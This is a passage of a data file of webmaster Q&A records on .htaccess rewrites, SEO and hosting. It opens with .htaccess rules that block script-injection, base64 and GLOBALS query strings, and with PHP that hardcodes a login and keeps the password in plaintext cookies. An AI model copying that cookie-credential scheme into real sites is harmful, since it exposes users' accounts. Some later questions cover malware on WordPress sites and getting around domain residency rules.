RewriteEngine on RewriteCond %{HTTP_user_agent} bot\\* [OR] RewriteCond %{HTTP_user_agent} \\*bot RewriteRule ^.*$ http:\/\/english-1329329990.spampoison.com [R,L] RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\\%3D) [OR] # Block out any script trying to base64_encode crap to send via URL RewriteCond %{QUERY_STRING} base64_encode.*\\(.*\\) [OR] # Block out any script that includes a <script> tag in URL RewriteCond %{QUERY_STRING} (\\<|%3C).*script.*(\\>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL RewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL RewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2}) # Send all blocked request to homepage with 403 Forbidden error! RewriteRule ^(.*)$ index.php [F,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !^\/index.php RewriteCond %{REQUEST_URI} (\/|\\.php|\\.html|\\.htm|\\.feed|\\.pdf|\\.raw|\/[^.]*)$ [NC] RewriteRule (.*) index.php RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L] # Don't show directory listings for directories that do not contain an index file (index.php, default.asp etc.) Options -Indexes <Files http:\/\/english-1329329990.spampoison.com> order allow,deny allow from all <\/Files> deny from 108. deny from 123. deny from 180. deny from 100.43.83.132 **UPDATE TO SHOW ADDED USER AGENT BOT CHECK CODE** <?php function botcheck(){ $spiders = array( array('AdsBot-Google','google.com'), array('Googlebot','google.com'), array('Googlebot-Image','google.com'), array('Googlebot-Mobile','google.com'), array('Mediapartners','google.com'), array('Mediapartners-Google','google.com'), array('msnbot','search.msn.com'), array('bingbot','bing.com'), array('Slurp','help.yahoo.com'), array('Yahoo! Slurp','help.yahoo.com') ); $useragent = strtolower($_SERVER['HTTP_USER_AGENT']); foreach($spiders as $bot) { if(preg_match(\"\/$bot[0]\/i\",$useragent)){ $ipaddress = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ipaddress); $iphostname = gethostbyname($hostname); if (preg_match(\"\/$bot[1]\/i\",$hostname) && $ipaddress == $iphostname){return true;} } } } if(botcheck() == false) { \/\/ User Login - Read Cookie values $username = $_COOKIE['username']; $password = $_COOKIE['password']; $radio_1 = $_COOKIE['radio_1']; $radio_2 = $_COOKIE['radio_2']; if (($username == 'm3s36G6S9v' && $password == 'S4er5h8QN2') || ($radio_1 == '2' && $radio_2 == '5')) { } else { $selected_username = $_POST['username']; $selected_password = $_POST['password']; $selected_radio_1 = $_POST['group1']; $selected_radio_2 = $_POST['group2']; if (($selected_username == 'm3s36G6S9v' && $selected_password == 'S4er5h8QN2') || ($selected_radio_1 == '2' && $selected_radio_2 == '5')) { setcookie(\"username\", $selected_username, time()+3600, \"\/\"); setcookie(\"password\", $selected_password, time()+3600, \"\/\"); setcookie(\"radio_1\", $selected_radio_1, time()+3600, \"\/\"); setcookie(\"radio_2\", $selected_radio_2, time()+3600, \"\/\"); } else { header(\"Location: login.html\"); } } } ?> **I also added the following to the top tof the rss2html.php script** \/\/ Checks to see if this script was called by the main site pages, (i.e. index.php or mobile.php) and if not, then sends to main page session_start(); if(isset($_SESSION['views'])){$_SESSION['views'] = $_SESSION['views']+ 1;} else {$_SESSION['views'] = 1;} if($_SESSION['views'] > 1) {header(\"Location: http:\/\/website.com\/index.php\");}"}
{"id":"32727","title":"conditional DirectoryIndex based on IP address, using .htaccess","text":"I've got this in `httpd.conf`: <VirtualHost xx.xxx.xx.xxx> Options All +ExecCGI ServerAdmin hostmaster@thehost.com DocumentRoot \/var\/www\/html\/domain.com ServerName dl.domain.org DirectoryIndex dlindex1.html <\/VirtualHost> ... which is fine (what I need as the `DirectoryIndex` for our 'dl.domain.org' subdomain), _but_ now I also need to alter that `DirectoryIndex` based on IP address, using `.htaccess`. Is this possible? StackOverflow posts are telling me that I cannot set `DirectoryIndex` conditionally.. but instead _have_ to use a `RewriteRule`. If that is true, OK, but what `RewriteCond` and `RewriteRule`? I am pretty noob in Apache, but anyway have tried many things, including (where the actual IPs are those of our 2 devs): RewriteCond %{REMOTE_ADDR} ^111\\.222\\.333\\.444$ [OR] RewriteCond %{REMOTE_ADDR} ^555\\.666\\.777\\.888$ RewriteCond %{SERVER_NAME} ^dl.domain.org RewriteRule ^(.*)\/$ $1\/dlindex2.html ..or even just (as an absolute test): RewriteCond %{REMOTE_ADDR} ^555\\.666\\.777\\.888$ RewriteRule (.*)\/dlindex1.html$ $1\/dlindex2.html But it seems that whatever I try it just serves up the `DirectoryIndex dlindex1.html` as per `httpd.conf`, as opposed to the `dlindex2.html` I want served up as the default page in that subdomain when a devs IP is calling. Can any one point me to what I can do to get what I am after? i.e. this: ...to actually, or even just effectively, alter `DirectoryIndex` based on IP address, using `.htaccess`, on the fly?"}
{"id":"24334","title":"Do quotation marks have any effect on the search engine robots?","text":"I have a blog called `The Fall Journey` and it is about a series of trips that I intend to do that are based on the filming locations from `The Fall` movie. Unfortunately, a lot of people mistake the title for the season - `Fall` but the trip doesn't have anything to do with the season, only the movie title. So, when I search through Google and use `the fall journey blog`, I get my website in the search result because, obviously, it isn't a frequent search. The thing is that I do use `The Fall Journey` as a description for the site and the search engines get that and are therefore listing my site. I was wondering, if I started using `\"The Fall\" Journey` as my site description and use the quotation marks throughout the site (posts, pages, comments etc.), will I still get listed in the search engines for `the fall journey blog` query or will people have to write `\"the fall\" journey blog`? To simplify my question, do the search engines notice the quotation marks or not and will adding them have any effect on the listing in the search engines?"}
{"id":"24336","title":"redirect using htaccess, if a url contains query string","text":"I want to do permanent redirect using htaccess. For eg :- I want to redirect `\/modules\/pages\/?pageid=7` to `http:\/\/www.xxx.com\/aaa\/`. This is what i have done `Redirect permanent \/modules\/pages\/?pageid=7 http:\/\/www.xxx.com\/aaa\/` but it gives me 404 error."}
{"id":"50220","title":"Google index iframes on Facebook fan pages? (Hole website content)","text":"I have a fairly simple question that I've tried to get help from the guys on the _Google Webmaster Help Q &A_ site but so far no joy so hopefully someone here can provide me with the information I'm looking for. I have a Facebook fanpage for my website, I have made an app that basically uses an iframe and puts the site within a frame within Facebook. All works good but Google is not indexing this page. I am using `<link rel=\"canonical\" href=\"#\" \/>` on my pages so prehaps this is an issue?"}
{"id":"50222","title":"Evidence for automatic browsing - Log file analysis","text":"I'm analyzing web server logs both in Apache and IIS log formats. I want to find the evidence for automatic browsing, like web robots, spiders, bots, etc. I used python robot-detection 0.2.8 for detecting robots in my log files, but I know there may be other robots (automatic programs) which have traversed through the web site but robot-detection can not identify. So I want to ask: 1. Are there any specific clues that can be found in log files that human users do not leave but automated software would? 2. Do they follow a specific navigation pattern? 3. I saw some requests for `favicon.ico` - does this implicate that it is a automatic browsing?. I found this article and this question with some valuable points."}
{"id":"2944","title":"Removing the script extension with URL rewriting on Apache","text":"Given a (slightly theoretical) physical disk layout of: \\products\\cameras\\50d.jpg \\products\\cameras\\20d.jpg \\products\\lenses\\18-55.jpg \\products\\lenses\\28-135.jpg \\products.php At the moment, I've URLs of the form: \/products.php\/ \/products.php\/cameras\/ \/products.php\/cameras\/50d With the products.php using the PATH_INFO to make a decision on what to display. I'm struggling to rewrite the URL to remove the .php, but still allow static resources to be retrievable though?"}
{"id":"3708","title":"Why is www. working but no-www is not?","text":"Right now my site runs on `http:\/\/www.example.com` but I need to run that without www also i.e `example.com` _**Can some body tell me here that how can i do that?_**"}
{"id":"50227","title":"AWStats configuration issue","text":"I have a an Ubuntu 12.04.2 LTS server in which i host my website. The website is in Drupal. I tried to set up AWStats for my website but it is giving a lot of problems. I followed this link - `http:\/\/www.sysadminworld.com\/2011\/set-up-awstats-on- ubuntu\/` But I am confused about the domain name that needs to be given. The website can be accessed from `http:\/\/xyz.com but the actual link is http:\/\/xyz.abc- def.com\/root-folder`. What is the domain name in this case? So what should be the name of the conf file then?"}
{"id":"5354","title":"H1 as an inline element","text":"If I use H1 as an inline element (since it fits the design better) will it be treated the same by the SE crawlers, or will it hurt its effectiveness? Thanks, Joel"}
{"id":"50850","title":"Are keywords listed in Google Webmaster Tools tied to ranking, and what does a blank keyword mean?","text":"I have two questions regarding the terms listed under Content Keywords in Google Webmaster Tools: We've recently lost a lot of ranking in Google search after we changed our e-commerce platform and added translations to foreign languages. We run a US site, but most of our content is translated into Spanish and French for customers' convenience. Recently, we realized that the top 3 \"significant\" keywords are all in Spanish. 99% of our customers use English as their first language, and our Google search results ranking has dropped significantly for terms listed at much lower significance in Google Webmaster Tools (e.g. listed at number 8, 13, etc...). So my questions are: 1. If the quality of our English content didn't change but we added foreign languages to it, would the \"foreign\" content take away from our ranking for English terms? The top Spanish terms don't even display our site when searched on in Google. I know this isn't an exact science, but I'd like to hear some feedback based on experience. I read in this article that there is no relevancy between this list and actual search engine ranking (however, the author is suspicious). 2. At rank number 4, we have a keyword \" ** ___ ___**\", which is literally just an underscore. What does this mean?"}
{"id":"1059","title":"Which scripting language for server maintenance?","text":"What scripting do you use for basic server maintenance kinds of tasks, e.g. backups, moving files around, etc.? Do you stick to bash, ruby, perl, something else, or do you mix-and-match for different needs? What are the strengths and weaknesses of your choice(s)? I'm personally interested in *nix servers, but maybe the question could be relevant to Windows servers as well."}
{"id":"58753","title":"Does loading metas from database affect my website SEO?","text":"I am developing a website which is fully dynamic. If I load metas and other information of the website from database, will it affect my website's SEO?"}
{"id":"65343","title":"Restricting access using IP address \/ Network Redirection?","text":"I have a situation where we have a web server (lets call it A) that is hosting a set of HTTP based services. Due to some client restrictions, this web server is not open to the outside world but rather has an IP address based restriction to allow only a certain fixed set of IP addresses. The idea is that there will be another server that will be the outward public facing server (lets call it B) and this server will then redirect all requests to server A - which accepts requests only from Server B. 2 questions :- 1. Does having such a server configuration add any value or any benefit which could not be achieved by just having \"server A\" alone? 2. If \"server B\" is only basically doing a redirect, can I do it using some networking hardware itself like a router etc rather than having a web server do it? And would that be more efficient?"}
{"id":"30158","title":"HTTPS page loading non-https images","text":"I have a https site which links to images from a cdn, as well as user- generated image links that are not https. I get errors like this in console: > The page at https:\/\/site.com displayed insecure content from > http:\/\/www.google.com\/images\/srpr\/logo3w.png. Does it matter? Should I try to fix this? Is it worth worrying about?"}
{"id":"4310","title":"Creating a companion website for a book","text":"I'm looking to put together a small microsite to accompany a book being written by a friend. The website will both serve to advertise the book, encourage people to buy it, and contains additional content for those who've purchased the book which is better presented in an interactive form. I don't have much experience of putting together a site like this, so can anyone suggest some things the site should have\/do or point me in the direction of similar sites for books you've read. Thanks, Tom"}
{"id":"27310","title":"Rewrite img and link paths with htaccess and serve the file from rewritten path?","text":"I have a static mockup page, which I want to \"customize\" by switching a variable used in image-src and link-href attributes. Paths will look like this: <img src=\"\/some\/where\/VARIABLE\/img\/1.jpg\" alt=\"\" \/> <link rel=\"some\" href=\"\/some\/where\/VARIABLE\/stuff\/foo.bar\" \/> I'm setting a cookie with the VARIABLE value on the preceding page and now want to modfiy the paths accordingly by replacing VARIABLE with the cookie value. I'm a htaccess newbie. This is what I have (doesn't work): <IfModule mod_rewrite.c> # get cookie value cookie RewriteCond %{HTTP_COOKIE} client=([^;]*) # rewrite\/redirect to correct file RewriteRule ^\/VARIABLE\/(.+)$ \/%1\/$1 [L] <\/IfModule> So I thought my first line gets the cookie value and stores this in %1. And on the second line I'm filtering VARIABLE, replace it with the cookie value and whatever comes after VARIABLE in $1. Thanks for sheeding some light on what I'm doing, doing wrong and if I can do this at all using htaccess. **EDIT:** I'm sort of halfway through, but it's still not working... Mabye someone can apply the finishing touches: <IfModule mod_rewrite.c> # check for client cookie RewriteCond %{HTTP_COOKIE} (?:^|;\\s*)client=([^;]*) # check if an image was requested RewriteCond %{REQUEST_FILENAME} \\.(jpe?g|gif|bmp|png)$ # exclude these folders RewriteCond %{REQUEST_URI} !some\/members\/logos # grab everything before the variable folder and everything afterwards # replace this with first bracket\/cookie_value\/second bracket RewriteRule (^.+)\/VARIABLE\/(.+)$ $1\/%1\/$2 [L] <\/IfModule> Still can't get it to work, but I think this is the correct way of doing it."}
{"id":"4316","title":"I'm having trouble with accessing my site's admin panel and CSS appears to be broken","text":"I'm currently writing for Crafthub.net, and since yesterday, whenever I try to access the admin control panel (http:\/\/crafthub.net\/wp-admin\/), it gives me a 404. crafthub.net\/wp-content\/themes\/magzimus\/style.css gives me a 404 too. Trying to access any other pages shows me a broken layout, in all browsers. A picture: http:\/\/dl.dropbox.com\/u\/4861882\/arr.jpg Also, everything I try to access on the site - images, as an example - give me a 404. I tried removing OpenDNS, with no success, tried cleaning cache, Ctrl+F5, nothing. Anyone have any ideas for me? Thanks."}
{"id":"4317","title":"Embedding a Disqus forum on my website: showing scrollable area instead of expanding the height","text":"I hope I put this question as it should, I am not an expert in html\/css\/javascript, so forgive me if it's not very clear. The issue is as follows. I made my first website last week for the birth of my son (still not arrived :)). I intend to put some pictures on it, as well as some tips for a sustainable future. In addition, I would like to add a Disqus.com forum on it. I like Disqus, I use it on my blog and aggregates different discussions across the web. Very useful web-app. I put the code they provided me with on the site, and the forum is shown, but when opened using the left-menu, so inside the container, it is rendered inside a scrollable area. If you open it as a separate page, there is no scrollbar (that's as I would like it), but no padding on the left (does the CSS not work for javascript?). Maybe a stupid question, but I have never made a website before, so.. I am kind of stupid :) I hope someone can answer my question. The link to the website is shown below and the menu item you should click is called \"Leg een ei\" (Lay an egg). Thieme"}
{"id":"67446","title":"non-cachable Canonical redirect of www to non-www","text":"I know this question is debatable for the whole eternity, and most likely nobody knows the real philosophy of this problem. But I'm trying to solve the problem about 301 and 302 response headers in order to redirect correctly a canonical URL from non-www to www and do it **SEO-efficient**. At the moment I'm using the following method to redirect my canonical URL from non-www to www #RewriteCond %{HTTP_HOST} !^(www\\.shangri\\.us)?$ #RewriteRule (.*) http:\/\/www.shangri.us\/$1 [R=301,L] But using this code I get the following message in my PageSpeed report: > To speed up page load times for visitors of your site, remove as many > landing page redirections as possible, and make any required redirections > cacheable if possible. > > * `http:\/\/shangri.us\/ is a non-cacheable redirect to > http:\/\/www.shangri.us\/` > So I'm trying to fix the PageSpeed advice about cacheable redirects (http:\/\/goo.gl\/AWI0g4) I've read that I need to use 302 response header in this case. I know the difference between permanent and temporal redirects (301\/302), but I have a big dilemma about how to implement this on my site. Although I don't want to use my root domain at all, I'm afraid of using 302 temporal redirect, because some people say it isn't the best way for **SEO matters** , but... aaaaaah I'm gonna go insane :("}
{"id":"14565","title":"Best way to lay-out the website when sections of it are almost identical","text":"so, I have a minisite for the mobile application that I did. The mobile application is a public transport (transit) schedule viewer for a particular city (let's call it Foo), and I'm trying to sell it via that minisite. I publish that minisite in `www.myawesomeapplication.com\/foo\/`. It has the usual \"standard\" subpages, like \"About\", \"Compatible phones\", \"Contact\", etc. Now, I have decided to create analogue mobile application for other cities, Bar and Baz. These mobile applications (products) would be almost identical to the one for the Foo city, thus the minisites for those would (should) look very similar too (except for some artwork and Foo => Bar replacement). The question is: what do you think would be the most logical way to lay-out the website in this situation, both from the business and search engine perspective? In other words, should I just duplicate the `\/foo\/` website to `\/bar\/` and `\/baz\/`, or would it be better to try to create a single website under root path (`\/`)? I don't want search engine penalties for almost-duplicate information under `\/foo\/`, `\/bar\/` and `\/baz\/`, and also I don't want a messy, non-localized website (I guess the user is more likely to buy something if he\/she sees _\"This-and-that is the application for NYC, the city you live in\"_ , not _\"This-and-that is the application for city A, city B, ..., NYC, ..., and city Z.\"_ )"}
{"id":"18025","title":"Knowledge Base solution for Magento?","text":"I'm looking for a knowledge base solution for magento. Does anybody know of any available?"}
{"id":"33885","title":"Whats the Quickest and Cheapest Solution to setup a Affiliate Program for an Online Product?","text":"I have a simple HTML landing page setup for an online product I want to sell. This product is a hardcover book. I want to be able to allow other people to setup their own landing pages and make a percentage of the sale from their site. What are some good payment processors or payment gateways that make setting up an affiliate system easy and fast? Clarification - When someone purchases an item, I want (whatever the payment processor is) to automatically route a percentage of that payment to the affiliate and the rest to the original author.) Are there any payment frameworks that already do this? I've found a few sites that let you do this, but they seem to restrict you to digital purchases only. However, my sites is selling a ship-able product and the affiliate system needs to support this."}
{"id":"14560","title":"How can I set the first two paragraphs as metada description on blogger?","text":"I want to configure my meta description to have the initial bit of my post. On my template I just have `<data:post.body\/>` and there is nowhere where I can get only the first bit. Is there a way to break down the `<data:post.body\/>` to use in the meta description? maybe via javascript?"}
{"id":"24487","title":"Mail server for every website on IIS","text":"I'm using Windows 7 x64 and IIS 7 to serve several websites. What I want to do is set-up a mail server for every domain name (like in Linux hostings), and web-interface for example `domain1.com\/webmail`, `domain2.com\/webmail` ... Is that possible on Windows? Any suggestions?"}
{"id":"24482","title":"Host your own website and DNS server","text":"I pay yearly big money for my websites' hostings, domain registrars, etc. My IP is dynamic and provider allows HTTP port. In my local webserver, I can access to my websites like that: `localhost:80` - first website, `localhost:81` - second website, etc. **What I want to do** is to host low traffic websites (such as company pages, etc.) from my own computer, and reduce all costs that I told above. **Questions** : * Is it possible to host my own DNS server and multiple websites (from multiple local ports) even with dynamic IP? Or should I buy dynamic dns service like DynDNS, NO-IP? _Note: You can give solution with any OS (Linux, Windows doesn't matter, I'm ready to install)_ * Let's say I have static IP. I want to host webserver, DNS server from my own pc. And I registered domain name with some registrar like Godaddy, etc. What I need to do next?"}
{"id":"38102","title":"Moving URL - telling Bing Webmaster Tools","text":"We're moving a site, we've set up 301's from the old pages to the new ones and told Google about the move, but I couldn't find any were to tell Bing. Is there a feature to do this in Bing Webmaster Tools?"}
{"id":"30732","title":"Alternative to nofollow: custom 302 url shortener?","text":"Here's the scenario: lots of blogging platforms make it tedious to insert `nofollow` into links within the post content. I.e., you need to edit the html, format it correctly, etc. I have a client who posts lots of content with links that should be nofollow'ed, and I thought of a novel way to handle this, since the blogging platform they're using makes it hard: I install a URL shortener web app on the client's domain. The shortener works as normal, _except_ it redirects via 302 instead of 301. The pagerank will therefore stay at the shortener's domain, and not flow on to the target site. Part 2: In order to get the pagerank to collect meaningfully, say on the site's home page, the shortened URLs would be generated like this: `\/link?12345` instead of `\/link\/12345`. And then, the path `\/link` would 301 to the home page. This way, the id is a param, not a path element. And thus, all the incoming shortened links are going to one path, which transfers pagerank to the home page. So that's my idea. I wanted to see if anybody could find problems with it. Thanks!"}
{"id":"59794","title":"How to get keywords from Google HTTP referrer?","text":"Can the http referrer URL from Google be decoded so that I can see the specific keywords? http:\/\/www.google.sk\/url?sa=t&rct=j&q=&esrc=s&source=web&cd=11&sqi=2&ved=0CFgQFjAK&url=http:\/\/www.peciatky.sk\/238-plombovacie-klieste.html&ei=WastU8_WMI-O7QautoCYBg&usg=AFQjCNHAZhWGZeIoJGtAOoSgSG25l4Hyqw"}
{"id":"30734","title":"Why are Awstats, Webalizer, and Google Analytics results so different?","text":"I realize that comparing Awstats and Webalizer to Google Analytics is like comparing apples to oranges, but each of them track _at least_ basic statistics about visitors and pages. So why are there often very significant differences in their data? For example, comparing Analytics with Awstats using some numbers from a small site over the past week: Awstats * 78 unique visitors * 205 visits (2.62 visits\/visitor) * 1,072 pages (5.22 pages\/visit) Google Analytics * 115 unique visitors * 240 visits (2.08 visits\/visitor) * 1,275 pages (5.31 pages\/visit) They're similar on the number of visits, but page views and uniques are quite different. I'm familiar with discrepancies of a much higher magnitude on some larger sites, showing that this trend scales proportionally upward. What is the reason behind the different numbers, even when the data is quite trivial like unique visitors and page loads?"}
{"id":"8643","title":"what's the best way to add the state in a page title for seo","text":"For a page title, what's the best way to add the state to the page title for SEO purposes? For example, should it be: \"Central Pennsylvania Shoe Repair\" or \"Central PA Shoe Repair\" or \"Central Pennsylvania PA Shoe Repair\" I want it to be searchable and discoverable but is the last too redundant?"}
{"id":"8640","title":"Where to buy .ha domain extesion?","text":"Is there any website\/service that I can get .ha domain extension?"}
{"id":"27836","title":"Since Google reduces the value of links alongside nofollow links, what is an alternative?","text":"Since 2009, Google counts `nofollow` links also as outgoing links, and thus reduces the value of the other links. What are some alternatives to stop Google counting outside links from my page? If I make links appear on my page source like this: <span hrefs=\"http:\/\/link\" rel=\"nofollow\" link=\"true\">Link Name<\/span> and then in JavaScript replace **span** with **a** tag and replace **hrefs** with **href** for every span tag that has link=\"true\". Will this help?"}
{"id":"35708","title":"Wp-count Malware Injection","text":"I received a malware notification from Google Webmaster tools yesterday for my blog which is running on Wordpress. After going through website I found that there is a file called `wp-count.php` creating malware code. I tried to delete that but it reappears again and again so I have erased coding inside. Now its there without coding but still I think it may be any other codes which are effect my website. How can I fix it?"}
{"id":"20639","title":"Having <strong> tag inside the <h2> is advisable or not?","text":"I have read that `<h2>` tags are important for seo and SEO expert prefer `<strong>` tags over `<b>` tags. But what if i want to use both (h2 and strong) together ? So suppose if i want to use tags with **tags, Ex. 1 <h2><strong> my title text <\/strong><\/h2> Ex.2 <strong> <h2> my title text<\/h2> <\/strong> Which one is better in terms of seo or both are same? UPDATE:** `<h2>` tag inside `<strong >` does not produce the Strong effect. So i will have to use the Ex.2 to make the words STRONG else it will be just a h2 tagged text."}
{"id":"35704","title":"Using AWS or Azure, what to do about emails?","text":"I'm coming from a background of paying a hosting company X amount per month for a server. This server comes with IIS, WebsitePanel and Smartermail all bundled together. When I create a new domain using WebsitePanel it automatically creates my email account. All I then need to do is configure my DNS to point to the server. I've decided that it is more cost efficient to move to AWS \/ Azure. Has anyone come from a similar background and moved onto a cloud system? I'd be interested to know what you did regarding emails. So far, these are the suggestions I've seen: * Use Google Apps for each domain * Use something like Elastic Email to sent out emails * Launch a new instance and host an email server on that The first option seems like quite a lot of manual configuration, the second one works good with outgoing emails but what about receiving? Option 3 would make it less cost effective. What is your experience?"}
{"id":"50487","title":"rel=\"next\" in anchor tag is not working","text":"I have 100's of duplicate meta description issue in google webmaster tool because of the pagination. Pagination pages are showing as duplicate in tool. So I added the `rel=\"next\"` and `rel=\"prev\"` to the pagination link anchor tags. But it seems like not working. I red the Google office webmaster blog post. That never mentioned to add anchor tag to the rel attributes. So should only adding rel attribute with link work or it will work with anchor tag as well. example : <link rel=\"next\" href=\"http:\/\/www.example.com\/article?story=abc&page=2\" \/> I red few unofficial blogs that mentioned the it will work with anchor. So please can anyone tell what I am doing here wrong!"}
{"id":"49673","title":"SEO traffic dropped suddenly","text":"My website was doing relatively very well in terms of SEO, I was getting around 10 000 page impressions and more than a few thousand clicks per day for keywords that other than my brand name. Keywords such as \"Hard Food\", \"pre- cum\" and some drug names. And then one day I witnessed a sudden drop and since then I'm only stuck with a maximum of 1000 impressions per day and a few hundred clicks only for my brand name. My SEO score on WooRank is around 70%, my page load speed is 93% (according to GTMetrix, ySlow). The website didn't change, the only thing that might have changed was that we stopped the Google Ads. Is there anything I should consider? or maybe I'm looking for the wrong type of optimizations. Let me know if you need other info!"}
{"id":"11308","title":"Local monthly searches in Google keyword tool","text":"For a target keyword made of two words the Local monthly searches shows: * Broad: 300,000 searches * Phrase: 250,000 searches Competition is nil. Does it mean that -- this many people search for this keyword term in a month?"}
{"id":"23595","title":"How to allow user to enter text or upload file, but not both","text":"We used to have a two-step process for answering questions. On the first page the user indicated how he would answer: either by typing a response or uploading a file. On the next page either a textarea or file input was presented. Instead I plan to present a single page where the user can do either of those things, but not both. What is the most user-friendly way to do this?"}
{"id":"5746","title":"Would you go about marketing a subscription based site differently?","text":"Do you think that subscription based sites, that offer software as a service model, should be marketed differently than a content specific site. Beyond contacting bloggers, blogging yourself, and going to trade shows and events, how would you directly engage a paying client base to \"spread the word\" beyond affiliate marketing stuff?"}
{"id":"5747","title":"Webmaster tools with Google, Yahoo and Bing","text":"I am currently using Google webmaster tools. I submitted my sitemap using their tool, etc. I am aware of the fact that Yahoo and Bing offer theit own webmaster tools section. Can I use all three sites' tools or should I pick one of them and stick with it? Do not know if there is any kind of penalty for using many tools?"}
{"id":"66863","title":"SEO analysis report not counting Facebook likes?","text":"For my website I created a Facebook page. It has 21 likes. However, the SEO analysis report says the Facebook likes count to zero. How to get the Facebook likes count into the SEO analysis report?"}
{"id":"5749","title":"Administrative and secured CMS for storing secret credentials?","text":"My boss asked me to setup a secured area online, which will contain all the FTP, MySQL etc details related to our web products. This online area must be secured and will only be accessible by the user we define. It should be easy to understand and should have functionality to download details in PDF or in word format etc. And should be able to handle following type of scenario: A client has 10 websites so we'll need to store FTP, MYSQL etc details related to 10 websites, so CMS should be able to accept and present the data in easy way. Do anyone has any suggestions for me to handle such kind scenario. Please help. Thanks!"}
{"id":"66866","title":"All social login","text":"Is there any API available for connecting to all possible social networks (mainly facebook, linkedin, twitter, github, bitbucket, codeplex, stackexchange, google code) I am basically looking for one stop website which can provide me logins with all the above website, for eg.http:\/\/www.oneall.com Is there any website which provides all of this??"}
{"id":"61664","title":"Which domain should I authorize in my .htaccess to let google spreadsheet access files on my site","text":"I use google spreadsheet feature that allows one to let an image be the content of a cell. The cell is defined by: =image(\"http:\/\/www.example.com\/my-pics\/my-pic.jpg\") It works pretty well. But, I don't want my pics to be public. So I added a `.htaccess` file in the `my-pics` directory of my web site. Here is the template I used order deny,allow deny from all allow from <domain used by google-spreadsheet to get image> My problem is that I don't know which domain I should allow? Do you have any idea? EDIT: Just an idea, but I cannot test it on my own (I use the web server my ISP provides me and I don't have access to logs). If my `.htaccess` is simply order deny,allow deny from all and that google spreadsheet tries to access the image, it should be logged somewhere on my web server that domain `some-google-linked-domain.com` has tried to access the file. Am I wrong?"}
{"id":"27682","title":"How can I register a domain that requires country residency?","text":"I tried to register a .pm domain from ovh.co.uk, but they e-mailed me saying they want valid proof that I am a resident of the United Kingdom. I currently live in the United States though. **I am aware that I have to be a resident.** That's not the question I'm asking. I want to know if it's possible, whether through some website that will get residency or some 'hacking' method, to register the domain I am interested in without having to physically be a resident of the country. I will try and find out if ovh.co.uk will charge me an extra fee, but until then I am curious to know if there is any way I could do this. Also, is there any other website I could purchase .pm domains from?"}
{"id":"27686","title":"My WP site got injected","text":"Hey friends my wordpress site got injected, and now I have to solve it. here is my domain, http:\/\/webstutorial.com\/ What I need to do, please help me. This is not a spam or link building technique"}
{"id":"51573","title":"Is this tag real? rel=\"nofollow external\"","text":"I can't seem to find any documentation that officially comments on this tag. Maybe a few forum posts here or there, but nothing on Webmaster Guidelines and even here on Pro Webmasters, I'm not seeing anything relating to it. I encountered this as I was sifting through links to un-do some rather horrible SEO choices by some former SEO firms our company contracted with. My experience tells me that ...rel=\"nofollow external\">anchor text<\/a> is just a way for the site owner to keep our links while making it seem like he's trying to help us? I contacted him about a week ago and we're about to go through our second round of emails. Since he never contacted me back, I'm likely going to try and get a hold of him again. I honestly don't remember if it had this attribute before I messaged him last time around, but I'm fairly certain it didn't. So, in a nut shell, my question is: will this actually remove the link from Google's radar or do I need to contact this guy again? EDIT: Just so it's clear, I understand `rel=\"nofollow\"` is happy and wonderful, it's the external bit I've never seen before and I know people can make up their own meta tags to add stuff to the code that never gets used, like a KEYPHRASES meta tag."}
{"id":"55051","title":"Using schema.org to represent Person, Google's webmaster tool doesn't see it","text":"I set a bunch of pages about people with the schema.org metadata for Person. The testing tool sees the metadata perfectly. However, the webmaster tools search appearance says there's no structured data on my site."}
{"id":"25826","title":"Website looks OK in IE9, but not in Firefox, IE8 and IE7","text":"i have a problem with my site http:\/\/www.cyprusproperty-4sale.com\/123456789.asp it looks OK in IE9 but not in Firefox, IE8 & IE7. Could you please help me with that?"}
{"id":"25827","title":"Apache2 \"pseudo\" doc root","text":"I have several folders in my \/www folder that contain various applications. To keep things organized, I keep them in their own folders -- this includes my base application. Examples: 1. phpmyadmin = \/www\/phpmyadmin 2. phpvirtualbox = \/www\/phpvirtualbox 3. root domain site = \/www\/Landing The reason I segregate all of my sites is that I actively develop on some of these (my root site) and when I publish via Visual Studio, I choose to delete prior to upload - if I put the Landing page in the base folder, it would be devastating for me. My goal is that when I go to www.example.com - I go to my page. If I go to www.example.com\/phpmyadmin, it does not work because of this in the Apache2 folder: <Location \"\/\"> # Error is the \"\/\" Allow from all Order allow,deny MonoSetServerAlias domain SetHandler mono SetOutputFilter DEFLATE SetEnvIfNoCase Request_URI \"\\.(?:gif|jpe?g|png)$\" no-gzip dont-vary <\/Location> <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE text\/html text\/plain text\/xml text\/javascript <\/IfModule> If I change the location to say \"\/Other\", then the base site is broken, and the aliases are restored for the other sites. If it is \"\/\", then the base site works and no aliases work. What could I do to allow it to treat my \/www\/Landing as my webroot, but when I go to an alias, it GOES to the alias. Edit: Added in the default VirtualHost info. DocumentRoot \/var\/www <VirtualHost *:80> ServerAdmin info@example.com ServerName www.example.com ExpiresActive On ExpiresByType image\/gif A2592000 ExpiresByType image\/png A2592000 ExpiresByType image\/jpg A2592000 ExpiresByType image\/jpeg A2592000 ExpiresByType text\/css \"access plus 1 days\" MonoServerPath domain \"\/usr\/bin\/mod-mono-server4\" MonoDebug domain true MonoSetEnv domain MONO_IOMAP=all MonoApplications domain \"\/:\/var\/www\/Landing\" RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule (.*) \/Landing\/$1 [L] #Need to watch what the Location is set to. Can cause issues for alias <Location \"\/\"> Allow from all Order allow,deny MonoSetServerAlias domain SetHandler mono SetOutputFilter DEFLATE SetEnvIfNoCase Request_URI \"\\.(?:gif|jpe?g|png)$\" no-gzip dont-vary <\/Location> <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE text\/html text\/plain text\/xml text\/javascript <\/IfModule> ErrorLog ${APACHE_LOG_DIR}\/error.log LogLevel warn CustomLog ${APACHE_LOG_DIR}\/access.log combined <\/VirtualHost>"}
